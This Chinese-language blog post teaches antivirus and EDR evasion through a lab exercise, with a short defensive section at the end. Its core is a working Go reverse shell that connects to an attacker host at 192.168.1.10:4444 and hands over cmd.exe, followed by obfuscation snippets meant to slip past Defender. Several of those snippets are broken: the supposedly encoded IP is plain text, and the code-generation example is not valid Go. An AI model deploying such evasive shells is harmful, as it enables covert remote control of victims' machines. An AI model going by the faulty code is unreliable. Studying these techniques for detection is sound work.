0x01 背后的攻击思路
有一次，我在甲方安全团队工作时，遇到了一次特别棘手的攻击事件。虽然我们在端点检测响应(EDR)方面下了不少功夫，但攻击者仍能成功投递恶意载荷而不被发现。这让我很好奇：攻击者是如何让他们的载荷逃过我们的检测？
从防御者变成攻击者，我开始反推这些恶意载荷的免杀技巧。攻击者通常会对载荷进行混淆、压缩或者内存加载，来逃避杀软的静态和动态分析。为了更好地理解和构建防御策略，我必须像他们一样思考，甚至走得更远。
0x02 实战环境搭建
为了重现这个免杀技术，我搭建了一个实验环境：采用Kali Linux作为攻击机，Windows 10作为靶机，启用了常用的杀毒软件。以下是我的实验环境配置，供大家参考：
- 攻击机：Kali Linux 2023.2
- 靶机：Windows 10 Pro x64，安装了最新的Windows Defender
- 工具：Go编程语言、shell脚本、Metasploit框架
接下来，我会以Go语言编写一个基础的恶意载荷，并展示如何一步步让它规避检测。
0x03 Payload构造的艺术
要实现免杀，首先我们需要一个基础的Payload。我选择了Go语言，因为它的静态编译特性和跨平台能力非常适合构造免杀载荷。下面是一个简单的反向ShellPayload示例：
<pre><code class="language-go">package main
import ( "net" "os/exec" )
func main() { conn, _ := net.Dial("tcp", "192.168.1.10:4444") // 连接攻击者控制的IP和端口 cmd := exec.Command("cmd.exe") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() }</code></pre>
这个代码片段实现了一个最简单的反向连接。攻击者通过监听这个连接，可以对靶机执行命令。然而，直接使用这样简单的载荷，很容易被大部分杀毒软件检测到。
0x04 幕后操作：混淆与免杀
为了让我们的载荷免杀，我在实战中尝试了以下几种技术：
字符串混淆与编码
最显而易见的思路是混淆载荷中的字符串。可以将敏感的字符串（如IP地址、命令）用简单的算法编码，然后在运行时进行解码。以下是一个简单的字符串编码示例：
<pre><code class="language-go">func decode(encoded string) string { decoded := "" for _, char := range encoded { decoded += string(char - 3) // 每个字符减去3以解码 } return decoded }
func main() { encodedIP := "192.168.1.10" // 假设这已经被编码过 decodedIP := decode(encodedIP) conn, _ := net.Dial("tcp", decodedIP+":4444") // 剩下的代码与之前相同... }</code></pre>
动态代码生成
使用Go的动态代码生成特性，可以在运行时构建和执行代码。这种方法虽然复杂，但能有效绕过静态分析。示例代码如下：
<pre><code class="language-go">func main() { code := package main import "net" import "os/exec" func main() { conn, _ := net.Dial("tcp", "192.168.1.10:4444") cmd := exec.Command("cmd.exe") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() } // 将代码写入临时文件并编译执行 // 此处省略具体实现，保证原理易于理解 }</code></pre>
内存加载
内存加载技术是将载荷直接加载到内存中执行，而不在磁盘上留下痕迹。这种方法常用于绕过基于文件的检测。
0x05 反侦察：检测与防御
既然我们了解了攻击者的思路，那么作为防御者，我们需要制定相应的策略。以下是一些我在工作中总结出的经验：
行为分析
虽然字符串混淆等技术能绕过静态分析，但动态行为分析仍能侦测到异常。因此，增强EDR的动态分析能力很重要。
策略监控
对网络连接和进程行为进行严格监控。例如，检测到未经授权的反向连接和shell启动时，立即触发警报。
代码完整性检查
对重要的系统文件和应用程序进行完整性检查，确保未被恶意代码修改。
0x06 我学到的那些事
在一次次的攻防演练中，我意识到攻击者和防御者之间的对抗是一个长期的“猫捉老鼠”游戏。攻击者在不断探索新的免杀技术，而防御者也在持续提升检测能力。因此，作为安全从业者，我们必须持续学习最新的攻击技术和防御手段。
通过这些研究，我不仅增强了自己的攻防能力，也能更好地为企业制定有效的安全策略。作为一名曾经的攻击者，我希望这些分享能帮助大家更好地理解免杀技术，并制定出更加有效的检测和防御方案。